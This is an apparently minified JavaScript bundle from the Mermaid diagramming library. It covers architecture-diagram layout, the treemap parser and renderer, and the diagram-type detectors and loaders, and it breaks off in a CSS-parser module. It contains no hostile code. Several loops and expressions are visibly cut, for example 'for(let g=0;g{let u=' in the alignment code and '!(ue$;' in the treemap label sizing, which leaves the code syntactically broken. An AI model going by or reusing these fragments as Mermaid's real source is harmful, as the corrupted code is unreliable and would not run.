Mit(t,e){t.forEach(r=>{let{lhsId:n,rhsId:i,lhsInto:a,lhsGroup:s,rhsInto:l,lhsDir:u,rhsDir:h,rhsGroup:f,title:d}=r,p=M4(r.lhsDir,r.rhsDir)?"segments":"straight",m={id:`${n}-${i}`,label:d,source:n,sourceDir:u,sourceArrow:a,sourceGroup:s,sourceEndpoint:u==="L"?"0 50%":u==="R"?"100% 50%":u==="T"?"50% 0":"50% 100%",target:i,targetDir:h,targetArrow:l,targetGroup:f,targetEndpoint:h==="L"?"0 50%":h==="R"?"100% 50%":h==="T"?"50% 0":"50% 100%"};e.add({group:"edges",data:m,classes:p})})}function Iit(t,e,r){let n=o((l,u)=>Object.entries(l).reduce((h,[f,d])=>{let p=0,m=Object.entries(d);if(m.length===1)return h[f]=m[0][1],h;for(let g=0;g{let u={},h={};return Object.entries(l).forEach(([f,[d,p]])=>{let m=t.getNode(f)?.in??"default";u[p]??={},u[p][m]??=[],u[p][m].push(f),h[d]??={},h[d][m]??=[],h[d][m].push(f)}),{horiz:Object.values(n(u,"horizontal")).filter(f=>f.length>1),vert:Object.values(n(h,"vertical")).filter(f=>f.length>1)}}),[a,s]=i.reduce(([l,u],{horiz:h,vert:f})=>[[...l,...h],[...u,...f]],[[],[]]);return{horizontal:a,vertical:s}}function Oit(t,e){let r=[],n=o(a=>`${a[0]},${a[1]}`,"posToStr"),i=o(a=>a.split(",").map(s=>parseInt(s)),"strToPos");return t.forEach(a=>{let s=Object.fromEntries(Object.entries(a).map(([f,d])=>[n(d),f])),l=[n([0,0])],u={},h={L:[-1,0],R:[1,0],T:[0,1],B:[0,-1]};for(;l.length>0;){let f=l.shift();if(f){u[f]=1;let d=s[f];if(d){let p=i(f);Object.entries(h).forEach(([m,g])=>{let y=n([p[0]+g[0],p[1]+g[1]]),v=s[y];v&&!u[y]&&(l.push(y),r.push({[Ez[m]]:v,[Ez[T4e(m)]]:d,gap:1.5*e.getConfigField("iconSize")}))})}}}}),r}function Pit(t,e,r,n,i,{spatialMaps:a,groupAlignments:s}){return new Promise(l=>{let u=qe("body").append("div").attr("id","cy").attr("style","display:none"),h=Ko({container:document.getElementById("cy"),style:[{selector:"edge",style:{"curve-style":"straight",label:"data(label)","source-endpoint":"data(sourceEndpoint)","target-endpoint":"data(targetEndpoint)"}},{selector:"edge.segments",style:{"curve-style":"segments","segment-weights":"0","segment-distances":[.5],"edge-distances":"endpoints","source-endpoint":"data(sourceEndpoint)","target-endpoint":"data(targetEndpoint)"}},{selector:"node",style:{"compound-sizing-wrt-labels":"include"}},{selector:"node[label]",style:{"text-valign":"bottom","text-halign":"center","font-size":`${i.getConfigField("fontSize")}px`}},{selector:".node-service",style:{label:"data(label)",width:"data(width)",height:"data(height)"}},{selector:".node-junction",style:{width:"data(width)",height:"data(height)"}},{selector:".node-group",style:{padding:`${i.getConfigField("padding")}px`}}],layout:{name:"grid",boundingBox:{x1:0,x2:100,y1:0,y2:100}}});u.remove(),Nit(r,h),Dit(t,h,i),Lit(e,h,i),Mit(n,h);let f=Iit(i,a,s),d=Oit(a,i),p=h.layout({name:"fcose",quality:"proof",styleEnabled:!1,animate:!1,nodeDimensionsIncludeLabels:!1,idealEdgeLength(m){let[g,y]=m.connectedNodes(),{parent:v}=td(g),{parent:x}=td(y);return v===x?1.5*i.getConfigField("iconSize"):.5*i.getConfigField("iconSize")},edgeElasticity(m){let[g,y]=m.connectedNodes(),{parent:v}=td(g),{parent:x}=td(y);return v===x?.45:.001},alignmentConstraint:f,relativePlacementConstraint:d});p.one("layoutstop",()=>{function m(g,y,v,x){let b,T,{x:S,y:w}=g,{x:k,y:A}=y;T=(x-w+(S-v)*(w-A)/(S-k))/Math.sqrt(1+Math.pow((w-A)/(S-k),2)),b=Math.sqrt(Math.pow(x-w,2)+Math.pow(v-S,2)-Math.pow(T,2));let C=Math.sqrt(Math.pow(k-S,2)+Math.pow(A-w,2));b=b/C;let R=(k-S)*(x-w)-(A-w)*(v-S);switch(!0){case R>=0:R=1;break;case R<0:R=-1;break}let I=(k-S)*(v-S)+(A-w)*(x-w);switch(!0){case I>=0:I=1;break;case I<0:I=-1;break}return T=Math.abs(T)*R,b=b*I,{distances:T,weights:b}}o(m,"getSegmentWeights"),h.startBatch();for(let g of Object.values(h.edges()))if(g.data?.()){let{x:y,y:v}=g.source().position(),{x,y:b}=g.target().position();if(y!==x&&v!==b){let T=g.sourceEndpoint(),S=g.targetEndpoint(),{sourceDir:w}=OC(g),[k,A]=nu(w)?[T.x,S.y]:[S.x,T.y],{weights:C,distances:R}=m(T,S,k,A);g.style("segment-distances",R),g.style("segment-weights",C)}}h.endBatch(),p.run()}),p.run(),h.ready(m=>{X.info("Ready",m),l(h)})})}var B4e,Bit,F4e,$4e=N(()=>{"use strict";II();B4e=ja(R4e(),1);yr();pt();nc();tu();Ei();Iz();PC();P4e();O3([{name:m0.prefix,icons:m0}]);Ko.use(B4e.default);o(Dit,"addServices");o(Lit,"addJunctions");o(Rit,"positionNodes");o(Nit,"addGroups");o(Mit,"addEdges");o(Iit,"getAlignments");o(Oit,"getRelativeConstraints");o(Pit,"layoutArchitecture");Bit=o(async(t,e,r,n)=>{let i=n.db,a=i.getServices(),s=i.getJunctions(),l=i.getGroups(),u=i.getEdges(),h=i.getDataStructures(),f=aa(e),d=f.append("g");d.attr("class","architecture-edges");let p=f.append("g");p.attr("class","architecture-services");let m=f.append("g");m.attr("class","architecture-groups"),await I4e(i,p,a),O4e(i,p,s);let g=await Pit(a,s,l,u,i,h);await N4e(d,g,i),await M4e(m,g,i),Rit(i,g),ic(void 0,f,i.getConfigField("padding"),i.getConfigField("useMaxWidth"))},"draw"),F4e={draw:Bit}});var z4e={};dr(z4e,{diagram:()=>Fit});var Fit,G4e=N(()=>{"use strict";_4e();Az();L4e();$4e();Fit={parser:_z,get db(){return new vy},renderer:F4e,styles:D4e}});var by,Oz=N(()=>{"use strict";La();qn();tr();$t();ci();by=class{constructor(){this.nodes=[];this.levels=new Map;this.outerNodes=[];this.classes=new Map;this.setAccTitle=Rr;this.getAccTitle=Mr;this.setDiagramTitle=$r;this.getDiagramTitle=Pr;this.getAccDescription=Or;this.setAccDescription=Ir}static{o(this,"TreeMapDB")}getNodes(){return this.nodes}getConfig(){let e=ur,r=Qt();return Vn({...e.treemap,...r.treemap??{}})}addNode(e,r){this.nodes.push(e),this.levels.set(e,r),r===0&&(this.outerNodes.push(e),this.root??=e)}getRoot(){return{name:"",children:this.outerNodes}}addClass(e,r){let n=this.classes.get(e)??{id:e,styles:[],textStyles:[]},i=r.replace(/\\,/g,"\xA7\xA7\xA7").replace(/,/g,";").replace(/§§§/g,",").split(";");i&&i.forEach(a=>{_2(a)&&(n?.textStyles?n.textStyles.push(a):n.textStyles=[a]),n?.styles?n.styles.push(a):n.styles=[a]}),this.classes.set(e,n)}getClasses(){return this.classes}getStylesForClass(e){return this.classes.get(e)?.styles??[]}clear(){Sr(),this.nodes=[],this.levels=new Map,this.outerNodes=[],this.classes=new Map,this.root=void 0}}});function H4e(t){if(!t.length)return[];let e=[],r=[];return t.forEach(n=>{let i={name:n.name,children:n.type==="Leaf"?void 0:[]};for(i.classSelector=n?.classSelector,n?.cssCompiledStyles&&(i.cssCompiledStyles=[n.cssCompiledStyles]),n.type==="Leaf"&&n.value!==void 0&&(i.value=n.value);r.length>0&&r[r.length-1].level>=n.level;)r.pop();if(r.length===0)e.push(i);else{let a=r[r.length-1].node;a.children?a.children.push(i):a.children=[i]}n.type!=="Leaf"&&r.push({node:i,level:n.level})}),e}var q4e=N(()=>{"use strict";o(H4e,"buildHierarchy")});var Vit,Uit,Pz,W4e=N(()=>{"use strict";Uf();pt();r0();q4e();Oz();Vit=o((t,e)=>{nl(t,e);let r=[];for(let a of t.TreemapRows??[])a.$type==="ClassDefStatement"&&e.addClass(a.className??"",a.styleText??"");for(let a of t.TreemapRows??[]){let s=a.item;if(!s)continue;let l=a.indent?parseInt(a.indent):0,u=Uit(s),h=s.classSelector?e.getStylesForClass(s.classSelector):[],f=h.length>0?h.join(";"):void 0,d={level:l,name:u,type:s.$type,value:s.value,classSelector:s.classSelector,cssCompiledStyles:f};r.push(d)}let n=H4e(r),i=o((a,s)=>{for(let l of a)e.addNode(l,s),l.children&&l.children.length>0&&i(l.children,s+1)},"addNodesRecursively");i(n,0)},"populate"),Uit=o(t=>t.name?String(t.name):"","getItemName"),Pz={parser:{yy:void 0},parse:o(async t=>{try{let r=await bs("treemap",t);X.debug("Treemap AST:",r);let n=Pz.parser?.yy;if(!(n instanceof by))throw new Error("parser.parser?.yy was not a TreemapDB. This is due to a bug within Mermaid, please report this issue at https://github.com/mermaid-js/mermaid/issues.");Vit(r,n)}catch(e){throw X.error("Error parsing treemap:",e),e}},"parse")}});var Hit,Ty,F4,qit,Wit,Y4e,X4e=N(()=>{"use strict";tu();Mf();Ei();yr();$t();qn();pt();Hit=10,Ty=10,F4=25,qit=o((t,e,r,n)=>{let i=n.db,a=i.getConfig(),s=a.padding??Hit,l=i.getDiagramTitle(),u=i.getRoot(),{themeVariables:h}=Qt();if(!u)return;let f=l?30:0,d=aa(e),p=a.nodeWidth?a.nodeWidth*Ty:960,m=a.nodeHeight?a.nodeHeight*Ty:500,g=p,y=m+f;d.attr("viewBox",`0 0 ${g} ${y}`),mn(d,y,g,a.useMaxWidth);let v;try{let _=a.valueFormat||",";if(_==="$0,0")v=o(O=>"$"+cc(",")(O),"valueFormat");else if(_.startsWith("$")&&_.includes(",")){let O=/\.\d+/.exec(_),M=O?O[0]:"";v=o(P=>"$"+cc(","+M)(P),"valueFormat")}else if(_.startsWith("$")){let O=_.substring(1);v=o(M=>"$"+cc(O||"")(M),"valueFormat")}else v=cc(_)}catch(_){X.error("Error creating format function:",_),v=cc(",")}let x=no().range(["transparent",h.cScale0,h.cScale1,h.cScale2,h.cScale3,h.cScale4,h.cScale5,h.cScale6,h.cScale7,h.cScale8,h.cScale9,h.cScale10,h.cScale11]),b=no().range(["transparent",h.cScalePeer0,h.cScalePeer1,h.cScalePeer2,h.cScalePeer3,h.cScalePeer4,h.cScalePeer5,h.cScalePeer6,h.cScalePeer7,h.cScalePeer8,h.cScalePeer9,h.cScalePeer10,h.cScalePeer11]),T=no().range([h.cScaleLabel0,h.cScaleLabel1,h.cScaleLabel2,h.cScaleLabel3,h.cScaleLabel4,h.cScaleLabel5,h.cScaleLabel6,h.cScaleLabel7,h.cScaleLabel8,h.cScaleLabel9,h.cScaleLabel10,h.cScaleLabel11]);l&&d.append("text").attr("x",g/2).attr("y",f/2).attr("class","treemapTitle").attr("text-anchor","middle").attr("dominant-baseline","middle").text(l);let S=d.append("g").attr("transform",`translate(0, ${f})`).attr("class","treemapContainer"),w=U0(u).sum(_=>_.value??0).sort((_,O)=>(O.value??0)-(_.value??0)),A=R5().size([p,m]).paddingTop(_=>_.children&&_.children.length>0?F4+Ty:0).paddingInner(s).paddingLeft(_=>_.children&&_.children.length>0?Ty:0).paddingRight(_=>_.children&&_.children.length>0?Ty:0).paddingBottom(_=>_.children&&_.children.length>0?Ty:0).round(!0)(w),C=A.descendants().filter(_=>_.children&&_.children.length>0),R=S.selectAll(".treemapSection").data(C).enter().append("g").attr("class","treemapSection").attr("transform",_=>`translate(${_.x0},${_.y0})`);R.append("rect").attr("width",_=>_.x1-_.x0).attr("height",F4).attr("class","treemapSectionHeader").attr("fill","none").attr("fill-opacity",.6).attr("stroke-width",.6).attr("style",_=>_.depth===0?"display: none;":""),R.append("clipPath").attr("id",(_,O)=>`clip-section-${e}-${O}`).append("rect").attr("width",_=>Math.max(0,_.x1-_.x0-12)).attr("height",F4),R.append("rect").attr("width",_=>_.x1-_.x0).attr("height",_=>_.y1-_.y0).attr("class",(_,O)=>`treemapSection section${O}`).attr("fill",_=>x(_.data.name)).attr("fill-opacity",.6).attr("stroke",_=>b(_.data.name)).attr("stroke-width",2).attr("stroke-opacity",.4).attr("style",_=>{if(_.depth===0)return"display: none;";let O=je({cssCompiledStyles:_.data.cssCompiledStyles});return O.nodeStyles+";"+O.borderStyles.join(";")}),R.append("text").attr("class","treemapSectionLabel").attr("x",6).attr("y",F4/2).attr("dominant-baseline","middle").text(_=>_.depth===0?"":_.data.name).attr("font-weight","bold").attr("style",_=>{if(_.depth===0)return"display: none;";let O="dominant-baseline: middle; font-size: 12px; fill:"+T(_.data.name)+"; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;",M=je({cssCompiledStyles:_.data.cssCompiledStyles});return O+M.labelStyles.replace("color:","fill:")}).each(function(_){if(_.depth===0)return;let O=qe(this),M=_.data.name;O.text(M);let P=_.x1-_.x0,B=6,F;a.showValues!==!1&&_.value?F=P-10-30-10-B:F=P-B-6;let $=Math.max(15,F),U=O.node();if(U.getComputedTextLength()>$){let Y=M;for(;Y.length>0;){if(Y=M.substring(0,Y.length-1),Y.length===0){O.text("..."),U.getComputedTextLength()>$&&O.text("");break}if(O.text(Y+"..."),U.getComputedTextLength()<=$)break}}}),a.showValues!==!1&&R.append("text").attr("class","treemapSectionValue").attr("x",_=>_.x1-_.x0-10).attr("y",F4/2).attr("text-anchor","end").attr("dominant-baseline","middle").text(_=>_.value?v(_.value):"").attr("font-style","italic").attr("style",_=>{if(_.depth===0)return"display: none;";let O="text-anchor: end; dominant-baseline: middle; font-size: 10px; fill:"+T(_.data.name)+"; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;",M=je({cssCompiledStyles:_.data.cssCompiledStyles});return O+M.labelStyles.replace("color:","fill:")});let I=A.leaves(),L=S.selectAll(".treemapLeafGroup").data(I).enter().append("g").attr("class",(_,O)=>`treemapNode treemapLeafGroup leaf${O}${_.data.classSelector?` ${_.data.classSelector}`:""}x`).attr("transform",_=>`translate(${_.x0},${_.y0})`);L.append("rect").attr("width",_=>_.x1-_.x0).attr("height",_=>_.y1-_.y0).attr("class","treemapLeaf").attr("fill",_=>_.parent?x(_.parent.data.name):x(_.data.name)).attr("style",_=>je({cssCompiledStyles:_.data.cssCompiledStyles}).nodeStyles).attr("fill-opacity",.3).attr("stroke",_=>_.parent?x(_.parent.data.name):x(_.data.name)).attr("stroke-width",3),L.append("clipPath").attr("id",(_,O)=>`clip-${e}-${O}`).append("rect").attr("width",_=>Math.max(0,_.x1-_.x0-4)).attr("height",_=>Math.max(0,_.y1-_.y0-4)),L.append("text").attr("class","treemapLabel").attr("x",_=>(_.x1-_.x0)/2).attr("y",_=>(_.y1-_.y0)/2).attr("style",_=>{let O="text-anchor: middle; dominant-baseline: middle; font-size: 38px;fill:"+T(_.data.name)+";",M=je({cssCompiledStyles:_.data.cssCompiledStyles});return O+M.labelStyles.replace("color:","fill:")}).attr("clip-path",(_,O)=>`url(#clip-${e}-${O})`).text(_=>_.data.name).each(function(_){let O=qe(this),M=_.x1-_.x0,P=_.y1-_.y0,B=O.node(),F=4,G=M-2*F,$=P-2*F;if(G<10||$<10){O.style("display","none");return}let U=parseInt(O.style("font-size"),10),j=8,te=28,Y=.6,oe=6,J=2;for(;B.getComputedTextLength()>G&&U>j;)U--,O.style("font-size",`${U}px`);let ue=Math.max(oe,Math.min(te,Math.round(U*Y))),re=U+J+ue;for(;re>$&&U>j&&(U--,ue=Math.max(oe,Math.min(te,Math.round(U*Y))),!(ue$;O.style("font-size",`${U}px`),(B.getComputedTextLength()>G||U(O.x1-O.x0)/2).attr("y",function(O){return(O.y1-O.y0)/2}).attr("style",O=>{let M="text-anchor: middle; dominant-baseline: hanging; font-size: 28px;fill:"+T(O.data.name)+";",P=je({cssCompiledStyles:O.data.cssCompiledStyles});return M+P.labelStyles.replace("color:","fill:")}).attr("clip-path",(O,M)=>`url(#clip-${e}-${M})`).text(O=>O.value?v(O.value):"").each(function(O){let M=qe(this),P=this.parentNode;if(!P){M.style("display","none");return}let B=qe(P).select(".treemapLabel");if(B.empty()||B.style("display")==="none"){M.style("display","none");return}let F=parseFloat(B.style("font-size")),G=28,$=.6,U=6,j=2,te=Math.max(U,Math.min(G,Math.round(F*$)));M.style("font-size",`${te}px`);let oe=(O.y1-O.y0)/2+F/2+j;M.attr("y",oe);let J=O.x1-O.x0,ee=O.y1-O.y0-4,Z=J-8;M.node().getComputedTextLength()>Z||oe+te>ee||te{"use strict";tr();Yit={sectionStrokeColor:"black",sectionStrokeWidth:"1",sectionFillColor:"#efefef",leafStrokeColor:"black",leafStrokeWidth:"1",leafFillColor:"#efefef",labelColor:"black",labelFontSize:"12px",valueFontSize:"10px",valueColor:"black",titleColor:"black",titleFontSize:"14px"},Xit=o(({treemap:t}={})=>{let e=Vn(Yit,t);return` + .treemapNode.section { + stroke: ${e.sectionStrokeColor}; + stroke-width: ${e.sectionStrokeWidth}; + fill: ${e.sectionFillColor}; + } + .treemapNode.leaf { + stroke: ${e.leafStrokeColor}; + stroke-width: ${e.leafStrokeWidth}; + fill: ${e.leafFillColor}; + } + .treemapLabel { + fill: ${e.labelColor}; + font-size: ${e.labelFontSize}; + } + .treemapValue { + fill: ${e.valueColor}; + font-size: ${e.valueFontSize}; + } + .treemapTitle { + fill: ${e.titleColor}; + font-size: ${e.titleFontSize}; + } + `},"getStyles"),j4e=Xit});var Q4e={};dr(Q4e,{diagram:()=>jit});var jit,Z4e=N(()=>{"use strict";Oz();W4e();X4e();K4e();jit={parser:Pz,get db(){return new by},renderer:Y4e,styles:j4e}});var Oat={};dr(Oat,{default:()=>Iat});nc();_A();vd();var O_e=o(t=>/^\s*C4Context|C4Container|C4Component|C4Dynamic|C4Deployment/.test(t),"detector"),P_e=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(NQ(),RQ));return{id:"c4",diagram:t}},"loader"),B_e={id:"c4",detector:O_e,loader:P_e},MQ=B_e;var yfe="flowchart",rWe=o((t,e)=>e?.flowchart?.defaultRenderer==="dagre-wrapper"||e?.flowchart?.defaultRenderer==="elk"?!1:/^\s*graph/.test(t),"detector"),nWe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(AE(),CE));return{id:yfe,diagram:t}},"loader"),iWe={id:yfe,detector:rWe,loader:nWe},vfe=iWe;var xfe="flowchart-v2",aWe=o((t,e)=>e?.flowchart?.defaultRenderer==="dagre-d3"?!1:(e?.flowchart?.defaultRenderer==="elk"&&(e.layout="elk"),/^\s*graph/.test(t)&&e?.flowchart?.defaultRenderer==="dagre-wrapper"?!0:/^\s*flowchart/.test(t)),"detector"),sWe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(AE(),CE));return{id:xfe,diagram:t}},"loader"),oWe={id:xfe,detector:aWe,loader:sWe},bfe=oWe;var fWe=o(t=>/^\s*erDiagram/.test(t),"detector"),dWe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(_fe(),Afe));return{id:"er",diagram:t}},"loader"),pWe={id:"er",detector:fWe,loader:dWe},Dfe=pWe;var Pge="gitGraph",HKe=o(t=>/^\s*gitGraph/.test(t),"detector"),qKe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Oge(),Ige));return{id:Pge,diagram:t}},"loader"),WKe={id:Pge,detector:HKe,loader:qKe},Bge=WKe;var d1e="gantt",MQe=o(t=>/^\s*gantt/.test(t),"detector"),IQe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(f1e(),h1e));return{id:d1e,diagram:t}},"loader"),OQe={id:d1e,detector:MQe,loader:IQe},p1e=OQe;var k1e="info",GQe=o(t=>/^\s*info/.test(t),"detector"),VQe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(w1e(),T1e));return{id:k1e,diagram:t}},"loader"),E1e={id:k1e,detector:GQe,loader:VQe};var tZe=o(t=>/^\s*pie/.test(t),"detector"),rZe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(M1e(),N1e));return{id:"pie",diagram:t}},"loader"),I1e={id:"pie",detector:tZe,loader:rZe};var Y1e="quadrantChart",bZe=o(t=>/^\s*quadrantChart/.test(t),"detector"),TZe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(W1e(),q1e));return{id:Y1e,diagram:t}},"loader"),wZe={id:Y1e,detector:bZe,loader:TZe},X1e=wZe;var Tye="xychart",$Ze=o(t=>/^\s*xychart(-beta)?/.test(t),"detector"),zZe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(bye(),xye));return{id:Tye,diagram:t}},"loader"),GZe={id:Tye,detector:$Ze,loader:zZe},wye=GZe;var Rye="requirement",qZe=o(t=>/^\s*requirement(Diagram)?/.test(t),"detector"),WZe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Lye(),Dye));return{id:Rye,diagram:t}},"loader"),YZe={id:Rye,detector:qZe,loader:WZe},Nye=YZe;var Xye="sequence",IJe=o(t=>/^\s*sequenceDiagram/.test(t),"detector"),OJe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Yye(),Wye));return{id:Xye,diagram:t}},"loader"),PJe={id:Xye,detector:IJe,loader:OJe},jye=PJe;var tve="class",VJe=o((t,e)=>e?.class?.defaultRenderer==="dagre-wrapper"?!1:/^\s*classDiagram/.test(t),"detector"),UJe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(eve(),Jye));return{id:tve,diagram:t}},"loader"),HJe={id:tve,detector:VJe,loader:UJe},rve=HJe;var ave="classDiagram",WJe=o((t,e)=>/^\s*classDiagram/.test(t)&&e?.class?.defaultRenderer==="dagre-wrapper"?!0:/^\s*classDiagram-v2/.test(t),"detector"),YJe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(ive(),nve));return{id:ave,diagram:t}},"loader"),XJe={id:ave,detector:WJe,loader:YJe},sve=XJe;var Fve="state",Tet=o((t,e)=>e?.state?.defaultRenderer==="dagre-wrapper"?!1:/^\s*stateDiagram/.test(t),"detector"),wet=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Bve(),Pve));return{id:Fve,diagram:t}},"loader"),ket={id:Fve,detector:Tet,loader:wet},$ve=ket;var Vve="stateDiagram",Cet=o((t,e)=>!!(/^\s*stateDiagram-v2/.test(t)||/^\s*stateDiagram/.test(t)&&e?.state?.defaultRenderer==="dagre-wrapper"),"detector"),Aet=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Gve(),zve));return{id:Vve,diagram:t}},"loader"),_et={id:Vve,detector:Cet,loader:Aet},Uve=_et;var a2e="journey",jet=o(t=>/^\s*journey/.test(t),"detector"),Ket=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(i2e(),n2e));return{id:a2e,diagram:t}},"loader"),Qet={id:a2e,detector:jet,loader:Ket},s2e=Qet;pt();tu();Ei();var Zet=o((t,e,r)=>{X.debug(`rendering svg for syntax error +`);let n=aa(e),i=n.append("g");n.attr("viewBox","0 0 2412 512"),mn(n,100,512,!0),i.append("path").attr("class","error-icon").attr("d","m411.313,123.313c6.25-6.25 6.25-16.375 0-22.625s-16.375-6.25-22.625,0l-32,32-9.375,9.375-20.688-20.688c-12.484-12.5-32.766-12.5-45.25,0l-16,16c-1.261,1.261-2.304,2.648-3.31,4.051-21.739-8.561-45.324-13.426-70.065-13.426-105.867,0-192,86.133-192,192s86.133,192 192,192 192-86.133 192-192c0-24.741-4.864-48.327-13.426-70.065 1.402-1.007 2.79-2.049 4.051-3.31l16-16c12.5-12.492 12.5-32.758 0-45.25l-20.688-20.688 9.375-9.375 32.001-31.999zm-219.313,100.687c-52.938,0-96,43.063-96,96 0,8.836-7.164,16-16,16s-16-7.164-16-16c0-70.578 57.422-128 128-128 8.836,0 16,7.164 16,16s-7.164,16-16,16z"),i.append("path").attr("class","error-icon").attr("d","m459.02,148.98c-6.25-6.25-16.375-6.25-22.625,0s-6.25,16.375 0,22.625l16,16c3.125,3.125 7.219,4.688 11.313,4.688 4.094,0 8.188-1.563 11.313-4.688 6.25-6.25 6.25-16.375 0-22.625l-16.001-16z"),i.append("path").attr("class","error-icon").attr("d","m340.395,75.605c3.125,3.125 7.219,4.688 11.313,4.688 4.094,0 8.188-1.563 11.313-4.688 6.25-6.25 6.25-16.375 0-22.625l-16-16c-6.25-6.25-16.375-6.25-22.625,0s-6.25,16.375 0,22.625l15.999,16z"),i.append("path").attr("class","error-icon").attr("d","m400,64c8.844,0 16-7.164 16-16v-32c0-8.836-7.156-16-16-16-8.844,0-16,7.164-16,16v32c0,8.836 7.156,16 16,16z"),i.append("path").attr("class","error-icon").attr("d","m496,96.586h-32c-8.844,0-16,7.164-16,16 0,8.836 7.156,16 16,16h32c8.844,0 16-7.164 16-16 0-8.836-7.156-16-16-16z"),i.append("path").attr("class","error-icon").attr("d","m436.98,75.605c3.125,3.125 7.219,4.688 11.313,4.688 4.094,0 8.188-1.563 11.313-4.688l32-32c6.25-6.25 6.25-16.375 0-22.625s-16.375-6.25-22.625,0l-32,32c-6.251,6.25-6.251,16.375-0.001,22.625z"),i.append("text").attr("class","error-text").attr("x",1440).attr("y",250).attr("font-size","150px").style("text-anchor","middle").text("Syntax error in text"),i.append("text").attr("class","error-text").attr("x",1250).attr("y",400).attr("font-size","100px").style("text-anchor","middle").text(`mermaid version ${r}`)},"draw"),O$={draw:Zet},o2e=O$;var Jet={db:{},renderer:O$,parser:{parse:o(()=>{},"parse")}},l2e=Jet;var c2e="flowchart-elk",ett=o((t,e={})=>/^\s*flowchart-elk/.test(t)||/^\s*(flowchart|graph)/.test(t)&&e?.flowchart?.defaultRenderer==="elk"?(e.layout="elk",!0):!1,"detector"),ttt=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(AE(),CE));return{id:c2e,diagram:t}},"loader"),rtt={id:c2e,detector:ett,loader:ttt},u2e=rtt;var P2e="timeline",Ttt=o(t=>/^\s*timeline/.test(t),"detector"),wtt=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(O2e(),I2e));return{id:P2e,diagram:t}},"loader"),ktt={id:P2e,detector:Ttt,loader:wtt},B2e=ktt;var J2e="mindmap",Rtt=o(t=>/^\s*mindmap/.test(t),"detector"),Ntt=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Z2e(),Q2e));return{id:J2e,diagram:t}},"loader"),Mtt={id:J2e,detector:Rtt,loader:Ntt},exe=Mtt;var fxe="kanban",jtt=o(t=>/^\s*kanban/.test(t),"detector"),Ktt=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(hxe(),uxe));return{id:fxe,diagram:t}},"loader"),Qtt={id:fxe,detector:jtt,loader:Ktt},dxe=Qtt;var Xxe="sankey",brt=o(t=>/^\s*sankey(-beta)?/.test(t),"detector"),Trt=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Yxe(),Wxe));return{id:Xxe,diagram:t}},"loader"),wrt={id:Xxe,detector:brt,loader:Trt},jxe=wrt;var nbe="packet",Rrt=o(t=>/^\s*packet(-beta)?/.test(t),"detector"),Nrt=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(rbe(),tbe));return{id:nbe,diagram:t}},"loader"),ibe={id:nbe,detector:Rrt,loader:Nrt};var mbe="radar",ent=o(t=>/^\s*radar-beta/.test(t),"detector"),tnt=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(pbe(),dbe));return{id:mbe,diagram:t}},"loader"),gbe={id:mbe,detector:ent,loader:tnt};var x4e="block",wit=o(t=>/^\s*block(-beta)?/.test(t),"detector"),kit=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(v4e(),y4e));return{id:x4e,diagram:t}},"loader"),Eit={id:x4e,detector:wit,loader:kit},b4e=Eit;var V4e="architecture",$it=o(t=>/^\s*architecture/.test(t),"detector"),zit=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(G4e(),z4e));return{id:V4e,diagram:t}},"loader"),Git={id:V4e,detector:$it,loader:zit},U4e=Git;vd();Xt();var J4e="treemap",Kit=o(t=>/^\s*treemap/.test(t),"detector"),Qit=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Z4e(),Q4e));return{id:J4e,diagram:t}},"loader"),e3e={id:J4e,detector:Kit,loader:Qit};var t3e=!1,wy=o(()=>{t3e||(t3e=!0,xd("error",l2e,t=>t.toLowerCase().trim()==="error"),xd("---",{db:{clear:o(()=>{},"clear")},styles:{},renderer:{draw:o(()=>{},"draw")},parser:{parse:o(()=>{throw new Error("Diagrams beginning with --- are not valid. If you were trying to use a YAML front-matter, please ensure that you've correctly opened and closed the YAML front-matter with un-indented `---` blocks")},"parse")},init:o(()=>null,"init")},t=>t.toLowerCase().trimStart().startsWith("---")),ev(u2e,exe,U4e),ev(MQ,dxe,sve,rve,Dfe,p1e,E1e,I1e,Nye,jye,bfe,vfe,B2e,Bge,Uve,$ve,s2e,X1e,jxe,ibe,wye,b4e,gbe,e3e))},"addDiagrams");pt();vd();Xt();var r3e=o(async()=>{X.debug("Loading registered diagrams");let e=(await Promise.allSettled(Object.entries(gu).map(async([r,{detector:n,loader:i}])=>{if(i)try{av(r)}catch{try{let{diagram:a,id:s}=await i();xd(s,a,n)}catch(a){throw X.error(`Failed to load external diagram with key ${r}. Removing from detectors.`),delete gu[r],a}}}))).filter(r=>r.status==="rejected");if(e.length>0){X.error(`Failed to load ${e.length} external diagrams`);for(let r of e)X.error(r);throw new Error(`Failed to load ${e.length} external diagrams`)}},"loadRegisteredDiagrams");pt();yr();var BC="comm",FC="rule",$C="decl";var n3e="@import";var i3e="@namespace",a3e="@keyframes";var s3e="@layer";var Bz=Math.abs,$4=String.fromCharCode;function zC(t){return t.trim()}o(zC,"trim");function z4(t,e,r){return t.replace(e,r)}o(z4,"replace");function o3e(t,e,r){return t.indexOf(e,r)}o(o3e,"indexof");function rd(t,e){return t.charCodeAt(e)|0}o(rd,"charat");function nd(t,e,r){return t.slice(e,r)}o(nd,"substr");function wo(t){return 